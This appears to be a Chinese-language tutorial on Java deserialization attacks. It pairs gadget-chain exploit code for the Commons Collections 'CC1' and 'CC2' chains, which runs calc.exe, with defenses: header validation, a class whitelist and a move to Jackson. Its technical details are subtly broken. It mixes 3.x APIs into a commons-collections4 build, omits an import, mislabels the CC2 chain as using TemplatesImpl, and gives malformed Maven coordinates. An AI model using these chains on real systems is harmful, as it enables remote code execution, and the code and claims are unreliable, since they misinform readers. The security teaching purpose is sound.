Java反序列化攻击案例分析
2022-08-097.6k 阅读
Java反序列化基础概念
在Java中,对象的序列化是指将对象转换为字节序列的过程,以便能够在网络上传输或者存储到文件中。而反序列化则是将字节序列重新转换回对象的过程。Java提供了java.io.Serializable
接口来标识一个类的对象可以被序列化。
当一个类实现了Serializable
接口后,Java的序列化机制会自动处理该类对象的序列化和反序列化过程。例如,考虑以下简单的Java类:
import java.io.Serializable;
public class User implements Serializable {
private String username;
private String password;
public User(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public String getPassword() {
return password;
}
}
要对User
对象进行序列化,可以使用ObjectOutputStream
类:
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializeUser {
public static void main(String[] args) {
User user = new User("admin", "password123");
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser"))) {
oos.writeObject(user);
} catch (IOException e) {
e.printStackTrace();
}
}
}
反序列化则使用ObjectInputStream
类:
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class DeserializeUser {
public static void main(String[] args) {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser"))) {
User user = (User) ois.readObject();
System.out.println("Username: " + user.getUsername());
System.out.println("Password: " + user.getPassword());
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
反序列化攻击原理
Java反序列化机制在设计上存在一定的安全风险。当应用程序接收并反序列化不可信的数据时,攻击者可能会精心构造恶意的字节序列,使得在反序列化过程中执行任意代码。
这是因为Java的反序列化机制在反序列化对象时,会调用对象的readObject
方法(如果存在),以及类的构造函数等。攻击者可以通过控制反序列化的数据,利用这些机制来触发恶意代码的执行。
例如,假设存在一个具有readObject
方法的类:
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class MaliciousObject implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 恶意代码,例如执行系统命令
Runtime.getRuntime().exec("calc.exe");
}
}
如果应用程序对来自不可信源的数据进行反序列化,并且没有进行充分的验证,攻击者就可以发送包含恶意MaliciousObject
序列化数据,从而导致系统命令calc.exe
被执行(在Windows系统下弹出计算器)。
常见的反序列化攻击利用链
- CC1链(Commons Collections 1)
- 原理:利用
Commons Collections
库中的类,通过构造特定的对象链来触发反序列化漏洞。Commons Collections
库提供了丰富的集合类和工具类,其中一些类在反序列化时会调用方法,攻击者可以利用这些方法调用来执行恶意代码。 - 代码示例:
- 首先需要引入
Commons Collections
库的依赖。如果使用Maven,可以在pom.xml
中添加以下依赖:
- 首先需要引入
- 原理:利用
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
- 构造恶意对象的代码如下:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Exploit {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "test");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(instance);
oos.close();
byte[] serializedData = barr.toByteArray();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serializedData));
ois.readObject();
ois.close();
}
}
- 在上述代码中,通过
Transformer
链构造了一个恶意的对象,ChainedTransformer
会依次调用每个Transformer
。ConstantTransformer
返回Runtime.class
,InvokerTransformer
通过反射调用getRuntime
方法获取Runtime
实例,再调用exec
方法执行系统命令calc.exe
。TransformedMap
在反序列化时会触发Transformer
的调用,从而执行恶意代码。
- CC2链(Commons Collections 2)
- 原理:同样基于
Commons Collections
库,CC2链利用了不同的类和方法调用顺序来实现反序列化漏洞利用。它利用了TemplatesImpl
类以及AnnotationInvocationHandler
类的特性。 - 代码示例:
- 引入相关依赖(如果使用Maven,除了
commons - collections4
依赖,还可能需要asm
等相关依赖):
- 引入相关依赖(如果使用Maven,除了
- 原理:同样基于
<dependency>
<groupId>org.apache.commons.collections4</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.1</version>
</dependency>
- 构造恶意对象的代码:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.util.ReflectionUtils;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC2Exploit {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "test");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Retention.class, outerMap);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, instance);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(val);
oos.close();
byte[] serializedData = barr.toByteArray();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serializedData));
ois.readObject();
ois.close();
}
}
- 在这个示例中,利用
BadAttributeValueExpException
类的反序列化机制,通过反射设置其val
字段为构造好的恶意对象,从而在反序列化BadAttributeValueExpException
对象时触发恶意代码执行。
反序列化攻击检测与防范
- 输入验证
- 对于接收的序列化数据,应用程序应该进行严格的验证。可以检查数据的来源是否可信,例如只允许从特定的网络地址或经过身份验证的用户接收序列化数据。
- 可以对序列化数据的格式进行验证。虽然Java的
ObjectInputStream
本身有一定的格式检查,但额外的验证可以增加安全性。例如,可以验证数据是否以合法的序列化头部开始,以及数据长度是否在合理范围内。 - 代码示例:
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class ValidateSerializedData {
public static boolean validate(byte[] serializedData) {
if (serializedData.length < 5) {
return false;
}
// 检查序列化头部
if (serializedData[0] != (byte) 0xAC || serializedData[1] != (byte) 0xED) {
return false;
}
return true;
}
public static Object deserialize(byte[] serializedData) throws IOException, ClassNotFoundException {
if (!validate(serializedData)) {
throw new IllegalArgumentException("Invalid serialized data");
}
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serializedData))) {
return ois.readObject();
}
}
}
- 白名单机制
- 建立一个允许反序列化的类的白名单。只有在白名单中的类才可以被反序列化,其他类的序列化数据将被拒绝。
- 可以通过自定义
ObjectInputStream
的子类,并重写resolveClass
方法来实现白名单机制。 - 代码示例:
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;
public class WhitelistedObjectInputStream extends ObjectInputStream {
private static final Set<String> whitelist = new HashSet<>();
static {
whitelist.add("com.example.User");
// 添加更多允许的类
}
public WhitelistedObjectInputStream(java.io.InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
if (!whitelist.contains(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
return super.resolveClass(desc);
}
}
- 在上述代码中,
WhitelistedObjectInputStream
类重写了resolveClass
方法,只有当类名在whitelist
中时,才允许反序列化该类。
- 使用安全的反序列化库
- 一些第三方库提供了更安全的反序列化机制。例如,
Jackson
库在处理JSON序列化和反序列化时,默认情况下比Java原生的序列化机制更安全。如果应用场景允许,可以将对象的序列化和反序列化从Java原生的Serializable
机制迁移到更安全的库,如Jackson
。 - 示例代码使用
Jackson
进行对象序列化和反序列化:- 引入
Jackson
依赖(如果使用Maven):
- 引入
- 一些第三方库提供了更安全的反序列化机制。例如,
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson - databind</artifactId>
<version>2.13.0</version>
</dependency>
- 序列化和反序列化代码:
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JacksonExample {
public static void main(String[] args) {
User user = new User("admin", "password123");
ObjectMapper mapper = new ObjectMapper();
try {
// 序列化
String json = mapper.writeValueAsString(user);
System.out.println("Serialized JSON: " + json);
// 反序列化
User deserializedUser = mapper.readValue(json, User.class);
System.out.println("Deserialized Username: " + deserializedUser.getUsername());
System.out.println("Deserialized Password: " + deserializedUser.getPassword());
} catch (IOException e) {
e.printStackTrace();
}
}
}
Jackson
在反序列化时会根据对象的结构进行严格的验证,并且不会像Java原生反序列化那样容易受到恶意代码注入的攻击。
- 更新和修复依赖库
- 及时更新应用程序所依赖的库,特别是像
Commons Collections
这样可能存在反序列化漏洞的库。库的开发者通常会发布安全补丁来修复已知的反序列化漏洞。 - 例如,如果使用
Commons Collections
库,关注官方发布的新版本,及时将库升级到最新的安全版本,以避免因使用存在漏洞版本而遭受反序列化攻击。
- 及时更新应用程序所依赖的库,特别是像
实际案例分析
- 某Web应用反序列化漏洞
- 漏洞背景:一个基于Java的Web应用,使用了
Commons Collections
库来处理一些数据集合。该应用接收来自用户上传的序列化数据,并进行反序列化操作。 - 攻击过程:攻击者通过分析应用所使用的库版本,发现其使用的
Commons Collections
库存在CC1链相关的反序列化漏洞。攻击者构造了恶意的序列化数据,利用CC1链执行了恶意命令,例如获取服务器的敏感文件内容。攻击者首先确定了应用接收序列化数据的接口,然后使用工具生成了包含恶意Transformer
链的序列化数据,并通过HTTP请求发送给应用。 - 漏洞修复:应用开发者首先升级了
Commons Collections
库到不存在CC1漏洞的版本。同时,在接收和反序列化用户数据的接口处,添加了输入验证和白名单机制。对于接收的序列化数据,先进行格式验证,确保数据符合基本的序列化格式要求,然后通过自定义的ObjectInputStream
子类,只允许特定的、安全的类进行反序列化。
- 漏洞背景:一个基于Java的Web应用,使用了
- 某分布式系统反序列化漏洞
- 漏洞背景:在一个分布式Java系统中,节点之间通过序列化对象进行通信。系统中部分节点使用了较旧的Java版本,并且对反序列化的数据没有进行充分的验证。
- 攻击过程:攻击者利用系统节点间通信的机制,向目标节点发送恶意构造的序列化数据。攻击者发现系统在反序列化某些特定类型的对象时,会调用一些方法,通过构造恶意的对象链,触发了任意代码执行。攻击者成功在目标节点上部署了后门程序,从而可以控制该节点,并进一步渗透整个分布式系统。
- 漏洞修复:系统管理员首先将所有节点的Java版本更新到最新的安全版本。同时,在节点间通信模块中添加了严格的安全策略,对传输的序列化数据进行加密和签名验证。只有经过合法签名的数据才会被反序列化,并且在反序列化前,对数据进行深度的验证,包括检查数据的完整性和是否包含恶意的类和方法调用。此外,还对节点间通信所涉及的类进行了全面审查,去除了不必要的可序列化类,进一步减少了攻击面。
通过对这些实际案例的分析,可以看出反序列化攻击在Java应用中具有一定的隐蔽性和危害性。开发者需要高度重视反序列化安全问题,采取有效的检测和防范措施,以确保应用的安全性。在实际开发中,综合运用输入验证、白名单机制、使用安全库以及及时更新依赖等方法,可以大大降低反序列化攻击的风险。同时,持续关注安全动态,及时修复新发现的漏洞,也是保障应用安全的重要环节。